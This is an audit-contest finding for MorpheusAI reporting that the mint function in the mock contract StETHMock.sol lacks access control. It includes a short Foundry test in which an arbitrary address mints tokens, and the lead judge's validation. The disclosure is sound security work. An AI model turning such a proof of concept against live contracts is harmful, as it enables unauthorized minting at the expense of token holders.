MorpheusAI

MorpheusAI
Foundry
22,500 USDC
View results
Submission Details
Severity: low
Valid

leak of access control anyone can mint StETHMock

Summary

any one can call mint on StETHMock.sol

Vulnerability Details

the mint function on StETHMock.sol is public with no access controal allow any one to call it and mint StETHMock

Impact

mint free StETHMock
##Poc

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import {Test, console2} from "forge-std/Test.sol";
import "forge-std/console.sol";
import {StETHMock} from "../src/StETHMock.sol";
contract StETHMockTest is Test {
StETHMock public sth;
function setUp() public {
sth = new StETHMock();
}
function test_add() public{
address user = makeAddr("user");
vm.startPrank(user);
sth.mint(user,1e18);
vm.stopPrank();
sth.balanceOf(user);
}
}

Tools Used

forge

Recommendations

Updates

Lead Judging Commences

inallhonesty Lead Judge
over 1 year ago
inallhonesty Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Lack of access control in `StETHMock:mint` and `WStETHMock::mint`

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.